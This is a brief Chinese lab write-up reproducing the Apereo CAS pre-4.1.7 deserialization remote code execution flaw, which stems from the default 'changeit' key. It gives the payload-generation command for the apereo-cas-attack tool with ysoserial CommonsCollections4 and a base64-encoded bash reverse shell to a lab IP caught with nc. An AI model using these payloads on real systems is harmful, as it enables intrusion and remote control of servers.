Apereo-Cas
统一认证 - Apereo CAS 简介
微服务是将单一应用程序划分成一组小的服务,服务之间互相协调、互相配合。而每个这样的小服务可能都得进行安全验证,如果每个小的服务都得独自安全验证处理的话,就太麻烦了,所以就出现了统一处理这些安全相关的认证或授权的服务,这些服务中比较出名的有Apereo CAS ,Keycloak
思路
4.1.7版本之前网站使用了Webflow框架(和wordpress差不多),漏洞出现在登陆时默认密钥changeit处,我们可以利用工具生成恶意payload去修改execution参数从而进行任意命令执行
漏洞复现
changeit源码
public class EncryptedTranscoder implements Transcoder {
private CipherBean cipherBean;
private boolean compression = true;
public EncryptedTranscoder() throws IOException {
BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
bufferedBlockCipherBean.setKeyAlias("aes128");
bufferedBlockCipherBean.setKeyPassword("changeit");
bufferedBlockCipherBean.setNonce(new RBGNonce());
this.setCipherBean(bufferedBlockCipherBean);
}
在/cas/login找到登录页面,这里可以用dirsearch去扫,当然咱们知道就直接找到了
利用现成Apereo-CAS-Attack来完成复现。使用 ysoserial 的 CommonsCollections4加密生成,Ysoserial-CommonsCollection的七种利用方式分析 (自己还太菜了,只能先贴到这)
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/test"
后台登录查看
docker exec -it 96 bash
反弹shell
生成反弹shell语句runtime-exec-payloads(不用这个在线工具自己改一下就行)
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY0LjEyOC8xMjM0IDA+JjEg}|{base64,-d}|{bash,-i}"
nc监听后抓包重放